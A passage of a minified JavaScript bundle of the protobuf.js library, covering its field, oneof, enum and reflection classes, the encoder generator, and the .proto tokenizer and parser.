Y}zFA.basic=wFA([1,5,0,0,0,5,5,0,0,0,1,1,0,2,2]);zFA.defaults=wFA([0,0,0,0,0,0,0,0,0,0,0,0,!1,"",$92.emptyArray,null]);zFA.long=wFA([0,0,0,1,1],7);zFA.mapKey=wFA([0,0,0,5,5,0,0,0,1,1,0,2],2);zFA.packed=wFA([1,5,0,0,0,5,5,0,0,0,1,1,0])});var Jt=v((DEH,Fd7)=>{Fd7.exports=dG;var JFA=Ot();((dG.prototype=Object.create(JFA.prototype)).constructor=dG).className="Field";var gd7=VS(),Sk6=t5A(),k$=pG(),HFA,G92=/^required|optional|repeated$/;dG.fromJSON=function(K,q){var Y=new dG(K,q.id,q.type,q.rule,q.extend,q.options,q.comment);if(q.edition)Y._edition=q.edition;return Y._defaultEdition="proto3",Y};function dG(A,K,q,Y,z,w,H){if(k$.isObject(Y))H=z,w=Y,Y=z=void 0;else if(k$.isObject(z))H=w,w=z,z=void 0;if(JFA.call(this,A,w),!k$.isInteger(K)||K<0)throw TypeError("id must be a non-negative integer");if(!k$.isString(q))throw TypeError("type must be a string");if(Y!==void 0&&!G92.test(Y=Y.toString().toLowerCase()))throw TypeError("rule must be a string rule");if(z!==void 0&&!k$.isString(z))throw TypeError("extend must be a string");if(Y==="proto3_optional")Y="optional";this.rule=Y&&Y!=="optional"?Y:void 0,this.type=q,this.id=K,this.extend=z||void 0,this.repeated=Y==="repeated",this.map=!1,this.message=null,this.partOf=null,this.typeDefault=null,this.defaultValue=null,this.long=k$.Long?Sk6.long[q]!==void 0:!1,this.bytes=q==="bytes",this.resolvedType=null,this.extensionField=null,this.declaringField=null,this.comment=H}Object.defineProperty(dG.prototype,"required",{get:function(){return this._features.field_presence==="LEGACY_REQUIRED"}});Object.defineProperty(dG.prototype,"optional",{get:function(){return!this.required}});Object.defineProperty(dG.prototype,"delimited",{get:function(){return this.resolvedType instanceof HFA&&this._features.message_encoding==="DELIMITED"}});Object.defineProperty(dG.prototype,"packed",{get:function(){return this._features.repeated_field_encoding==="PACKED"}});Object.defineProperty(dG.prototype,"hasPresence",{get:function(){if(this.repeated||this.map)return!1;return this.partOf||this.declaringField||this.extensionField||this._features.field_presence!=="IMPLICIT"}});dG.prototype.setOption=function(K,q,Y){return JFA.prototype.setOption.call(this,K,q,Y)};dG.prototype.toJSON=function(K){var q=K?Boolean(K.keepComments):!1;return k$.toObject(["edition",this._editionToJSON(),"rule",this.rule!=="optional"&&this.rule||void 0,"type",this.type,"id",this.id,"extend",this.extend,"options",this.options,"comment",q?this.comment:void 0])};dG.prototype.resolve=function(){if(this.resolved)return this;if((this.typeDefault=Sk6.defaults[this.type])===void 0)if(this.resolvedType=(this.declaringField?this.declaringField.parent:this.parent).lookupTypeOrEnum(this.type),this.resolvedType instanceof HFA)this.typeDefault=null;else this.typeDefault=this.resolvedType.values[Object.keys(this.resolvedType.values)[0]];else if(this.options&&this.options.proto3_optional)this.typeDefault=null;if(this.options&&this.options.default!=null){if(this.typeDefault=this.options.default,this.resolvedType instanceof gd7&&typeof this.typeDefault==="string")this.typeDefault=this.resolvedType.values[this.typeDefault]}if(this.options){if(this.options.packed!==void 0&&this.resolvedType&&!(this.resolvedType instanceof gd7))delete this.options.packed;if(!Object.keys(this.options).length)this.options=void 0}if(this.long){if(this.typeDefault=k$.Long.fromNumber(this.typeDefault,this.type.charAt(0)==="u"),Object.freeze)Object.freeze(this.typeDefault)}else if(this.bytes&&typeof this.typeDefault==="string"){var K;if(k$.base64.test(this.typeDefault))k$.base64.decode(this.typeDefault,K=k$.newBuffer(k$.base64.length(this.typeDefault)),0);else k$.utf8.write(this.typeDefault,K=k$.newBuffer(k$.utf8.length(this.typeDefault)),0);this.typeDefault=K}if(this.map)this.defaultValue=k$.emptyObject;else if(this.repeated)this.defaultValue=k$.emptyArray;else this.defaultValue=this.typeDefault;if(this.parent instanceof HFA)this.parent.ctor.prototype[this.name]=this.defaultValue;return JFA.prototype.resolve.call(this)};dG.prototype._inferLegacyProtoFeatures=function(K){if(K!=="proto2"&&K!=="proto3")return{};var q={};if(this.rule==="required")q.field_presence="LEGACY_REQUIRED";if(this.parent&&Sk6.defaults[this.type]===void 0){var Y=this.parent.get(this.type.split(".").pop());if(Y&&Y instanceof HFA&&Y.group)q.message_encoding="DELIMITED"}if(this.getOption("packed")===!0)q.repeated_field_encoding="PACKED";else if(this.getOption("packed")===!1)q.repeated_field_encoding="EXPANDED";return q};dG.prototype._resolveFeatures=function(K){return JFA.prototype._resolveFeatures.call(this,this._edition||K)};dG.d=function(K,q,Y,z){if(typeof q==="function")q=k$.decorateType(q).name;else if(q&&typeof q==="object")q=k$.decorateEnum(q).name;return function(H,J){k$.decorateType(H.constructor).add(new dG(J,K,q,Y,{default:z}))}};dG._configure=function(K){HFA=K}});var s5A=v((jEH,pd7)=>{pd7.exports=Ov;var Kj1=Ot();((Ov.prototype=Object.create(Kj1.prototype)).constructor=Ov).className="OneOf";var Qd7=Jt(),Aj1=pG();function Ov(A,K,q,Y){if(!Array.isArray(K))q=K,K=void 0;if(Kj1.call(this,A,q),!(K===void 0||Array.isArray(K)))throw TypeError("fieldNames must be an Array");this.oneof=K||[],this.fieldsArray=[],this.comment=Y}Ov.fromJSON=function(K,q){return new Ov(K,q.oneof,q.options,q.comment)};Ov.prototype.toJSON=function(K){var q=K?Boolean(K.keepComments):!1;return Aj1.toObject(["options",this.options,"oneof",this.oneof,"comment",q?this.comment:void 0])};function Ud7(A){if(A.parent){for(var K=0;K<A.fieldsArray.length;++K)if(!A.fieldsArray[K].parent)A.parent.add(A.fieldsArray[K])}}Ov.prototype.add=function(K){if(!(K instanceof Qd7))throw TypeError("field must be a Field");if(K.parent&&K.parent!==this.parent)K.parent.remove(K);return this.oneof.push(K.name),this.fieldsArray.push(K),K.partOf=this,Ud7(this),this};Ov.prototype.remove=function(K){if(!(K instanceof Qd7))throw TypeError("field must be a Field");var q=this.fieldsArray.indexOf(K);if(q<0)throw Error(K+" is not a member of "+this);if(this.fieldsArray.splice(q,1),q=this.oneof.indexOf(K.name),q>-1)this.oneof.splice(q,1);return K.partOf=null,this};Ov.prototype.onAdd=function(K){Kj1.prototype.onAdd.call(this,K);var q=this;for(var Y=0;Y<this.oneof.length;++Y){var z=K.get(this.oneof[Y]);if(z&&!z.partOf)z.partOf=q,q.fieldsArray.push(z)}Ud7(this)};Ov.prototype.onRemove=function(K){for(var q=0,Y;q<this.fieldsArray.length;++q)if((Y=this.fieldsArray[q]).parent)Y.parent.remove(Y);Kj1.prototype.onRemove.call(this,K)};Object.defineProperty(Ov.prototype,"isProto3Optional",{get:function(){if(this.fieldsArray==null||this.fieldsArray.length!==1)return!1;var A=this.fieldsArray[0];return A.options!=null&&A.options.proto3_optional===!0}});Ov.d=function(){var K=Array(arguments.length),q=0;while(q<arguments.length)K[q]=arguments[q++];return function(z,w){Aj1.decorateType(z.constructor).add(new Ov(w,K)),Object.defineProperty(z,w,{get:Aj1.oneOfGetter(K),set:Aj1.oneOfSetter(K)})}}});var Ot=v((MEH,dd7)=>{dd7.exports=MW;MW.className="ReflectionObject";var Z92=s5A(),OFA=pG(),qj1,W92={enum_type:"OPEN",field_presence:"EXPLICIT",json_format:"ALLOW",message_encoding:"LENGTH_PREFIXED",repeated_field_encoding:"PACKED",utf8_validation:"VERIFY"},D92={enum_type:"CLOSED",field_presence:"EXPLICIT",json_format:"LEGACY_BEST_EFFORT",message_encoding:"LENGTH_PREFIXED",repeated_field_encoding:"EXPANDED",utf8_validation:"NONE"},j92={enum_type:"OPEN",field_presence:"IMPLICIT",json_format:"ALLOW",message_encoding:"LENGTH_PREFIXED",repeated_field_encoding:"PACKED",utf8_validation:"VERIFY"};function MW(A,K){if(!OFA.isString(A))throw TypeError("name must be a string");if(K&&!OFA.isObject(K))throw TypeError("options must be an object");this.options=K,this.parsedOptions=null,this.name=A,this._edition=null,this._defaultEdition="proto2",this._features={},this._featuresResolved=!1,this.parent=null,this.resolved=!1,this.comment=null,this.filename=null}Object.defineProperties(MW.prototype,{root:{get:function(){var A=this;while(A.parent!==null)A=A.parent;return A}},fullName:{get:function(){var A=[this.name],K=this.parent;while(K)A.unshift(K.name),K=K.parent;return A.join(".")}}});MW.prototype.toJSON=function(){throw Error()};MW.prototype.onAdd=function(K){if(this.parent&&this.parent!==K)this.parent.remove(this);this.parent=K,this.resolved=!1;var q=K.root;if(q instanceof qj1)q._handleAdd(this)};MW.prototype.onRemove=function(K){var q=K.root;if(q instanceof qj1)q._handleRemove(this);this.parent=null,this.resolved=!1};MW.prototype.resolve=function(){if(this.resolved)return this;if(this.root instanceof qj1)this.resolved=!0;return this};MW.prototype._resolveFeaturesRecursive=function(K){return this._resolveFeatures(this._edition||K)};MW.prototype._resolveFeatures=function(K){if(this._featuresResolved)return;var q={};if(!K)throw Error("Unknown edition for "+this.fullName);var Y=Object.assign(this.options?Object.assign({},this.options.features):{},this._inferLegacyProtoFeatures(K));if(this._edition){if(K==="proto2")q=Object.assign({},D92);else if(K==="proto3")q=Object.assign({},j92);else if(K==="2023")q=Object.assign({},W92);else throw Error("Unknown edition: "+K);this._features=Object.assign(q,Y||{}),this._featuresResolved=!0;return}if(this.partOf instanceof Z92){var z=Object.assign({},this.partOf._features);this._features=Object.assign(z,Y||{})}else if(this.declaringField);else if(this.parent){var w=Object.assign({},this.parent._features);this._features=Object.assign(w,Y||{})}else throw Error("Unable to find a parent for "+this.fullName);if(this.extensionField)this.extensionField._features=this._features;this._featuresResolved=!0};MW.prototype._inferLegacyProtoFeatures=function(){return{}};MW.prototype.getOption=function(K){if(this.options)return this.options[K];return};MW.prototype.setOption=function(K,q,Y){if(!this.options)this.options={};if(/^features\./.test(K))OFA.setProperty(this.options,K,q,Y);else if(!Y||this.options[K]===void 0){if(this.getOption(K)!==q)this.resolved=!1;this.options[K]=q}return this};MW.prototype.setParsedOption=function(K,q,Y){if(!this.parsedOptions)this.parsedOptions=[];var z=this.parsedOptions;if(Y){var w=z.find(function(O){return Object.prototype.hasOwnProperty.call(O,K)});if(w){var H=w[K];OFA.setProperty(H,Y,q)}else w={},w[K]=OFA.setProperty({},Y,q),z.push(w)}else{var J={};J[K]=q,z.push(J)}return this};MW.prototype.setOptions=function(K,q){if(K)for(var Y=Object.keys(K),z=0;z<Y.length;++z)this.setOption(Y[z],K[Y[z]],q);return this};MW.prototype.toString=function(){var K=this.constructor.className,q=this.fullName;if(q.length)return K+" "+q;return K};MW.prototype._editionToJSON=function(){if(!this._edition||this._edition==="proto3")return;return this._edition};MW._configure=function(A){qj1=A}});var VS=v((PEH,ld7)=>{ld7.exports=fS;var hk6=Ot();((fS.prototype=Object.create(hk6.prototype)).constructor=fS).className="Enum";var cd7=$jA(),Yj1=pG();function fS(A,K,q,Y,z,w){if(hk6.call(this,A,q),K&&typeof K!=="object")throw TypeError("values must be an object");if(this.valuesById={},this.values=Object.create(this.valuesById),this.comment=Y,this.comments=z||{},this.valuesOptions=w,this._valuesFeatures={},this.reserved=void 0,K){for(var H=Object.keys(K),J=0;J<H.length;++J)if(typeof K[H[J]]==="number")this.valuesById[this.values[H[J]]=K[H[J]]]=H[J]}}fS.prototype._resolveFeatures=function(K){return K=this._edition||K,hk6.prototype._resolveFeatures.call(this,K),Object.keys(this.values).forEach((q)=>{var Y=Object.assign({},this._features);this._valuesFeatures[q]=Object.assign(Y,this.valuesOptions&&this.valuesOptions[q]&&this.valuesOptions[q].features)}),this};fS.fromJSON=function(K,q){var Y=new fS(K,q.values,q.options,q.comment,q.comments);if(Y.reserved=q.reserved,q.edition)Y._edition=q.edition;return Y._defaultEdition="proto3",Y};fS.prototype.toJSON=function(K){var q=K?Boolean(K.keepComments):!1;return Yj1.toObject(["edition",this._editionToJSON(),"options",this.options,"valuesOptions",this.valuesOptions,"values",this.values,"reserved",this.reserved&&this.reserved.length?this.reserved:void 0,"comment",q?this.comment:void 0,"comments",q?this.comments:void 0])};fS.prototype.add=function(K,q,Y,z){if(!Yj1.isString(K))throw TypeError("name must be a string");if(!Yj1.isInteger(q))throw TypeError("id must be an integer");if(this.values[K]!==void 0)throw Error("duplicate name '"+K+"' in "+this);if(this.isReservedId(q))throw Error("id "+q+" is reserved in "+this);if(this.isReservedName(K))throw Error("name '"+K+"' is reserved in "+this);if(this.valuesById[q]!==void 0){if(!(this.options&&this.options.allow_alias))throw Error("duplicate id "+q+" in "+this);this.values[K]=q}else this.valuesById[this.values[K]=q]=K;if(z){if(this.valuesOptions===void 0)this.valuesOptions={};this.valuesOptions[K]=z||null}return this.comments[K]=Y||null,this};fS.prototype.remove=function(K){if(!Yj1.isString(K))throw TypeError("name must be a string");var q=this.values[K];if(q==null)throw Error("name '"+K+"' does not exist in "+this);if(delete this.valuesById[q],delete this.values[K],delete this.comments[K],this.valuesOptions)delete this.valuesOptions[K];return this};fS.prototype.isReservedId=function(K){return cd7.isReservedId(this.reserved,K)};fS.prototype.isReservedName=function(K){return cd7.isReservedName(this.reserved,K)}});var kk6=v((VEH,nd7)=>{nd7.exports=P92;var M92=VS(),bk6=t5A(),xk6=pG();function id7(A,K,q,Y){return K.delimited?A("types[%i].encode(%s,w.uint32(%i)).uint32(%i)",q,Y,(K.id<<3|3)>>>0,(K.id<<3|4)>>>0):A("types[%i].encode(%s,w.uint32(%i).fork()).ldelim()",q,Y,(K.id<<3|2)>>>0)}function P92(A){var K=xk6.codegen(["m","w"],A.name+"$encode")("if(!w)")("w=Writer.create()"),q,Y,z=A.fieldsArray.slice().sort(xk6.compareFieldsById);for(var q=0;q<z.length;++q){var w=z[q].resolve(),H=A._fieldsArray.indexOf(w),J=w.resolvedType instanceof M92?"int32":w.type,O=bk6.basic[J];if(Y="m"+xk6.safeProp(w.name),w.map){if(K("if(%s!=null&&Object.hasOwnProperty.call(m,%j)){",Y,w.name)("for(var ks=Object.keys(%s),i=0;i<ks.length;++i){",Y)("w.uint32(%i).fork().uint32(%i).%s(ks[i])",(w.id<<3|2)>>>0,8|bk6.mapKey[w.keyType],w.keyType),O===void 0)K("types[%i].encode(%s[ks[i]],w.uint32(18).fork()).ldelim().ldelim()",H,Y);else K(".uint32(%i).%s(%s[ks[i]]).ldelim()",16|O,J,Y);K("}")("}")}else if(w.repeated){if(K("if(%s!=null&&%s.length){",Y,Y),w.packed&&bk6.packed[J]!==void 0)K("w.uint32(%i).fork()",(w.id<<3|2)>>>0)("for(var i=0;i<%s.length;++i)",Y)("w.%s(%s[i])",J,Y)("w.ldelim()");else if(K("for(var i=0;i<%s.length;++i)",Y),O===void 0)id7(K,w,H,Y+"[i]");else K("w.uint32(%i).%s(%s[i])",(w.id<<3|O)>>>0,J,Y);K("}")}else{if(w.optional)K("if(%s!=null&&Object.hasOwnProperty.call(m,%j))",Y,w.name);if(O===void 0)id7(K,w,H,Y);else K("w.uint32(%i).%s(%s)",(w.id<<3|O)>>>0,J,Y)}}return K("return w")}});var od7=v((fEH,rd7)=>{var fY=rd7.exports=wE6();fY.build="light";function V92(A,K,q){if(typeof K==="function")q=K,K=new fY.Root;else if(!K)K=new fY.Root;return K.load(A,q)}fY.load=V92;function f92(A,K){if(!K)K=new fY.Root;return K.loadSync(A)}fY.loadSync=f92;fY.encoder=kk6();fY.decoder=Wk6();fY.verifier=Mk6();fY.converter=fk6();fY.ReflectionObject=Ot();fY.Namespace=$jA();fY.Root=eD1();fY.Enum=VS();fY.Type=oD1();fY.Field=Jt();fY.OneOf=s5A();fY.MapField=dD1();fY.Service=lD1();fY.Method=cD1();fY.Message=iD1();fY.wrappers=Nk6();fY.types=t5A();fY.util=pG();fY.ReflectionObject._configure(fY.Root);fY.Namespace._configure(fY.Type,fY.Service,fY.Enum);fY.Root._configure(fY.Type);fY.Field._configure(fY.Type)});var Bk6=v((NEH,td7)=>{td7.exports=sd7;var uk6=/[\s{}=;:[\],'"()<>]/g,N92=/(?:"([^"\\]*(?:\\.[^"\\]*)*)")/g,T92=/(?:'([^'\\]*(?:\\.[^'\\]*)*)')/g,v92=/^ *[*/]+ */,E92=/^\s*\*?\/*/,k92=/\n/g,C92=/\s/,L92=/\\(.?)/g,R92={"0":"\x00",r:"\r",n:` `,t:"\t"};function ad7(A){return A.replace(L92,function(K,q){switch(q){case"\\":case"":return q;default:return R92[q]||""}})}sd7.unescape=ad7;function sd7(A,K){A=A.toString();var q=0,Y=A.length,z=1,w=0,H={},J=[],O=null;function X(N){return Error("illegal "+N+" (line "+z+")")}function $(){var N=O==="'"?T92:N92;N.lastIndex=q-1;var T=N.exec(A);if(!T)throw X("string");return q=N.lastIndex,j(O),O=null,ad7(T[1])}function _(N){return A.charAt(N)}function G(N,T,C){var R={type:A.charAt(N++),lineEmpty:!1,leading:C},x;if(K)x=2;else x=3;var y=N-x,B;do if(--y<0||(B=A.charAt(y))===` `){R.lineEmpty=!0;break}while(B===" "||B==="\t");var b=A.substring(N,T).split(k92);for(var F=0;F<b.length;++F)b[F]=b[F].replace(K?E92:v92,"").trim();R.text=b.join(` `).trim(),H[z]=R,w=z}function Z(N){var T=W(N),C=A.substring(N,T),R=/^\s*\/\//.test(C);return R}function W(N){var T=N;while(T<Y&&_(T)!==` `)T++;return T}function D(){if(J.length>0)return J.shift();if(O)return $();var N,T,C,R,x,y=q===0;do{if(q===Y)return null;N=!1;while(C92.test(C=_(q))){if(C===` `)y=!0,++z;if(++q===Y)return null}if(_(q)==="/"){if(++q===Y)throw X("comment");if(_(q)==="/")if(!K){x=_(R=q+1)==="/";while(_(++q)!==` `)if(q===Y)return null;if(++q,x)G(R,q-1,y),y=!0;++z,N=!0}else{if(R=q,x=!1,Z(q-1)){x=!0;do{if(q=W(q),q===Y)break;if(q++,!y)break}while(Z(q))}else q=Math.min(Y,W(q)+1);if(x)G(R,q,y),y=!0;z++,N=!0}else if((C=_(q))==="*"){R=q+1,x=K||_(R)==="*";do{if(C===` `)++z;if(++q===Y)throw X("comment");T=C,C=_(q)}while(T!=="*"||C!=="/");if(++q,x)G(R,q-2,y),y=!0;N=!0}else return"/"}}while(N);var B=q;uk6.lastIndex=0;var b=uk6.test(_(B++));if(!b)while(B<Y&&!uk6.test(_(B)))++B;var F=A.substring(q,q=B);if(F==='"'||F==="'")O=F;return F}function j(N){J.push(N)}function M(){if(!J.length){var N=D();if(N===null)return null;j(N)}return J[0]}function P(N,T){var C=M(),R=C===N;if(R)return D(),!0;if(!T)throw X("token '"+C+"', '"+N+"' expected");return!1}function f(N){var T=null,C;if(N===void 0){if(C=H[z-1],delete H[z-1],C&&(K||C.type==="*"||C.lineEmpty))T=C.leading?C.text:null}else{if(w<N)M();if(C=H[N],delete H[N],C&&!C.lineEmpty&&(K||C.type==="/"))T=C.leading?null:C.text}return T}return Object.defineProperty({next:D,peek:M,push:j,skip:P,cmnt:f},"line",{get:function(){return z}})}});var zc7=v((TEH,Yc7)=>{Yc7.exports=Yd;Yd.filename=null;Yd.defaults={keepCase:!1};var y92=Bk6(),ed7=eD1(),Ac7=oD1(),Kc7=Jt(),I92=dD1(),qc7=s5A(),S92=VS(),h92=lD1(),b92=cD1(),x92=Ot(),u92=t5A(),mk6=pG(),B92=/^[1-9][0-9]*$/,m92=/^-?[1-9][0-9]*$/,g92=/^0[x][0-9a-fA-F]+$/,F92=/^-?0[x][0-9a-fA-F]+$/,Q92=/^0[0-7]+$/,U92=/^-?0[0-7]+$/,p92=/^(?![eE])[0-9]*(?:\.[0-9]*)?(?:[eE][+-]?[0-9]+)?$/,hB=/^[a-zA-Z_][a-zA-Z_0-9]*$/,bB=/^(?:\.?[a-zA-Z_][a-zA-Z_0-9]*)(?:\.[a-zA-Z_][a-zA-Z_0-9]*)*$/;function Yd(A,K,q){if(!(K instanceof ed7))q=K,K=new ed7;if(!q)q=Yd.defaults;var Y=q.preferTrailingComment||!1,z=y92(A,q.alternateCommentMode||!1),w=z.next,H=z.push,J=z.peek,O=z.skip,X=z.cmnt,$=!0,_,G,Z,W="proto2",D=K,j=[],M={},P=q.keepCase?function(OA){return OA}:mk6.camelCase;function f(){j.forEach((OA)=>{OA._edition=W,Object.keys(M).forEach((t)=>{if(OA.getOption(t)!==void 0)return;OA.setOption(t,M[t],!0)})})}function N(OA,t,XA){var VA=Yd.filename;if(!XA)Yd.filename=null;return Error("illegal "+(t||"token")+" '"+OA+"' ("+(VA?VA+", ":"")+"line "+z.line+")")}function T(){var OA=[],t;do{if((t=w())!=='"'&&t!=="'")throw N(t);OA.push(w()),O(t),t=J()}while(t==='"'||t==="'");return OA.join("")}function C(OA){var t=w();switch(t){case"'":case'"':return H(t),T();case"true":case"TRUE":return!0;case"false":case"FALSE":return!1}try{return x(t,!0)}catch(XA){if(OA&&bB.test(t))return t;throw N(t,"value")}}function R(OA,t){var XA,VA;do if(t&&((XA=J())==='"'||XA==="'")){var vA=T();if(OA.push(vA),W>=2023)throw N(vA,"id")}else try{OA.push([VA=y(w()),O("to",!0)?y(w()):VA])}catch(fA){if(t&&bB.test(XA)&&W>=2023)OA.push(XA);else throw fA}while(O(",",!0));var RA={options:void 0};RA.setOption=function(fA,LA){if(this.options===void 0)this.options={};this.options[fA]=LA},d(RA,function(LA){if(LA==="option")a(RA,LA),O(";");else throw N(LA)},function(){hA(RA)})}function x(OA,t){var XA=1;if(OA.charAt(0)==="-")XA=-1,OA=OA.substring(1);switch(OA){case"inf":case"INF":case"Inf":return XA*(1/0);case"nan":case"NAN":case"Nan":case"NaN":return NaN;case"0":return 0}if(B92.test(OA))return XA*parseInt(OA,10);if(g92.test(OA))return XA*parseInt(OA,16);if(Q92.test(OA))return XA*parseInt(OA,8);if(p92.test(OA))return XA*parseFloat(OA);throw N(OA,"number",t)}function y(OA,t){switch(OA){case"max":case"MAX":case"Max":return 536870911;case"0":return 0}if(!t&&OA.charAt(0)==="-")throw N(OA,"id");if(m92.test(OA))return parseInt(OA,10);if(F92.test(OA))return parseInt(OA,16);if(U92.test(OA))return parseInt(OA,8);throw N(OA,"id")}function B(){if(_!==void 0)throw N("package");if(_=w(),!bB.test(_))throw N(_,"name");D=D.define(_),O(";")}function b(){var OA=J(),t;switch(OA){case"weak":t=Z||(Z=[]),w();break;case"public":w();default:t=G||(G=[]);break}OA=T(),O(";"),t.push(OA)}function F(){if(O("="),W=T(),W<2023)throw N(W,"syntax");O(";")}function Q(){if(O("="),W=T(),!["2023"].includes(W))throw N(W,"edition");O(";")}function u(OA,t){switch(t){case"option":return a(OA,t),O(";"),!0;case"message":return r(OA,t),!0;case"enum":return HA(OA,t),!0;case"service":return yA(OA,t),!0;case"extend":return wA(OA,t),!0}return!1}function d(OA,t,XA){var VA=z.line;if(OA){if(typeof OA.comment!=="string")OA.comment=X();OA.filename=Yd.filename}if(O("{",!0)){var vA;while((vA=w())!=="}")t(vA);O(";",!0)}else{if(XA)XA();if(O(";"),OA&&(typeof OA.comment!=="string"||Y))OA.comment=X(VA)||OA.comment}}function r(OA,t){if(!hB.test(t=w()))throw N(t,"type name");var XA=new Ac7(t);if(d(XA,function(vA){if(u(XA,vA))return;switch(vA){case"map":e(XA,vA);break;case"required":if(W!=="proto2")throw N(vA);case"repeated":c(XA,vA);break;case"optional":if(W==="proto3")c(XA,"proto3_optional");else if(W!=="proto2")throw N(vA);else c(XA,"optional");break;case"oneof":qA(XA,vA);break;case"extensions":R(XA.extensions||(XA.extensions=[]));break;case"reserved":R(XA.reserved||(XA.reserved=[]),!0);break;default:if(W==="proto2"||!bB.test(vA))throw N(vA);H(vA),c(XA,"optional");break}}),OA.add(XA),OA===D)j.push(XA)}function c(OA,t,XA){var VA=w();if(VA==="group"){YA(OA,t);return}while(VA.endsWith(".")||J().startsWith("."))VA+=w();if(!bB.test(VA))throw N(VA,"type");var vA=w();if(!hB.test(vA))throw N(vA,"name");vA=P(vA),O("=");var RA=new Kc7(vA,y(w()),VA,t,XA);if(d(RA,function(SA){if(SA==="option")a(RA,SA),O(";");else throw N(SA)},function(){hA(RA)}),t==="proto3_optional"){var fA=new qc7("_"+vA);RA.setOption("proto3_optional",!0),fA.add(RA),OA.add(fA)}else OA.add(RA);if(OA===D)j.push(RA)}function YA(OA,t){if(W>=2023)throw N("group");var XA=w();if(!hB.test(XA))throw N(XA,"name");var VA=mk6.lcFirst(XA);if(XA===VA)XA=mk6.ucFirst(XA);O("=");var vA=y(w()),RA=new Ac7(XA);RA.group=!0;var fA=new Kc7(VA,vA,XA,t);fA.filename=Yd.filename,d(RA,function(SA){switch(SA){case"option":a(RA,SA),O(";");break;case"required":case"repeated":c(RA,SA);break;case"optional":if(W==="proto3")c(RA,"proto3_optional");else c(RA,"optional");break;case"message":r(RA,SA);break;case"enum":HA(RA,SA);break;case"reserved":R(RA.reserved||(RA.reserved=[]),!0);break;default:throw N(SA)}}),OA.add(RA).add(fA)}function e(OA){O("<");var t=w();if(u92.mapKey[t]===void 0)throw N(t,"type");O(",");var XA=w();if(!bB.test(XA))throw N(XA,"type");O(">");var VA=w();if(!hB.test(VA))throw N(VA,"name");O("=");var vA=new I92(P(VA),y(w()),t,XA);d(vA,function(fA){if(fA==="option")a(vA,fA),O(";");else throw N(fA)},function(){hA(vA)}),OA.add(vA)}function qA(OA,t){if(!hB.test(t=w()))throw N(t,"name");var XA=new qc7(P(t));d(XA,function(vA){if(vA==="option")a(XA,vA),O(";");else H(vA),c(XA,"optional")}),OA.add(XA)}function HA(OA,t){if(!hB.test(t=w()))throw N(t,"name");var XA=new S92(t);if(d(XA,function(vA){switch(vA){case"option":a(XA,vA),O(";");break;case"reserved":if(R(XA.reserved||(XA.reserved=[]),!0),XA.reserved===void 0)XA.reserved=[];break;default:_A(XA,vA)}}),OA.add(XA),OA===D)j.push(XA)}function _A(OA,t){if(!hB.test(t))throw N(t,"name");O("=");var XA=y(w(),!0),VA={options:void 0};VA.getOption=function(vA){return this.options[vA]},VA.setOption=function(vA,RA){x92.prototype.setOption.call(VA,vA,RA)},VA.setParsedOption=function(){return},d(VA,function(RA){if(RA==="option")a(VA,RA),O(";");else throw N(RA)},function(){hA(VA)}),OA.add(t,XA,VA.comment,VA.parsedOptions||VA.options)}function a(OA,t){var XA,VA,vA=!0;if(t==="option")t=w();while(t!=="="){if(t==="("){var RA=w();O(")"),t="("+RA+")"}if(vA){if(vA=!1,t.includes(".")&&!t.includes("(")){var fA=t.split(".");XA=fA[0]+".",t=fA[1];continue}XA=t}else VA=VA?VA+=t:t;t=w()}var LA=VA?XA.concat(VA):XA,SA=JA(OA,LA);VA=VA&&VA[0]==="."?VA.slice(1):VA,XA=XA&&XA[XA.length-1]==="."?XA.slice(0,-1):XA,MA(OA,XA,SA,VA)}function JA(OA,t){if(O("{",!0)){var XA={};while(!O("}",!0)){if(!hB.test(GA=w()))throw N(GA,"name");if(GA===null)throw N(GA,"end of input");var VA,vA=GA;if(O(":",!0),J()==="{")VA=JA(OA,t+"."+GA);else if(J()==="["){VA=[];var RA;if(O("[",!0)){do RA=C(!0),VA.push(RA);while(O(",",!0));if(O("]"),typeof RA<"u")jA(OA,t+"."+GA,RA)}}else VA=C(!0),jA(OA,t+"."+GA,VA);var fA=XA[vA];if(fA)VA=[].concat(fA).concat(VA);XA[vA]=VA,O(",",!0),O(";",!0)}return XA}var LA=C(!0);return jA(OA,t,LA),LA}function jA(OA,t,XA){if(D===OA&&/^features\./.test(t)){M[t]=XA;return}if(OA.setOption)OA.setOption(t,XA)}function MA(OA,t,XA,VA){if(OA.setParsedOption)OA.setParsedOption(t,XA,VA)}function hA(OA){if(O("[",!0)){do a(OA,"option");while(O(",",!0));O("]")}return OA}function yA(OA,t){if(!hB.test(t=w()))throw N(t,"service name");var XA=new h92(t);if(d(XA,function(vA){if(u(XA,vA))return;if(vA==="rpc")AA(XA,vA);else throw N(vA)}),OA.add(XA),OA===D)j.push(XA)}function AA(OA,t){var XA=X(),VA=t;if(!hB.test(t=w()))throw N(t,"name");var vA=t,RA,fA,LA,SA;if(O("("),O("stream",!0))fA=!0;if(!bB.test(t=w()))throw N(t);if(RA=t,O(")"),O("returns"),O("("),O("stream",!0))SA=!0;if(!bB.test(t=w()))throw N(t);LA=t,O(")");var xA=new b92(vA,VA,RA,LA,fA,SA);xA.comment=XA,d(xA,function(lA){if(lA==="option")a(xA,lA),O(";");else throw N(lA)}),OA.add(xA)}function wA(OA,t){if(!bB.test(t=w()))throw N(t,"reference");var XA=t;d(null,function(vA){switch(vA){case"required":case"repeated":c(OA,vA,XA);break;case"optional":if(W==="proto3")c(OA,"proto3_optional",XA);else c(OA,"optional",XA);break;default:if(W==="proto2"||!bB.test(vA))throw N(vA);H(vA),c(OA,"optional",XA);break}})}var GA;while((GA=w())!==null)switch(GA){case"package":if(!$)throw N(GA);B();break;case"import":if(!$)throw N(GA);b();break;case"syntax":if(!$)throw N(GA);F();break;case"edition":if(!$)throw N(GA);Q();break;case"option":a(D,GA),O(";",!0);break;default:if(u(D,GA)){$=!1;continue}throw N(GA)}return f(),Yd.filename=null,{package:_,imports:G,weakImports:Z,root:K}}});var Jc7=v((vEH,Hc7)=>{Hc7.exports=NS;var d92=/\/|\./;function NS(A,K){if(!d92.test(A))A="google/protobuf/"+A+".proto",K={nested:{google:{nested:{protobuf:{nested:K}}}}};NS[A]=K}NS("any",{Any:{fields:{type_url:{type:"string",id:1},value:{type:"bytes",id:2}}}});var 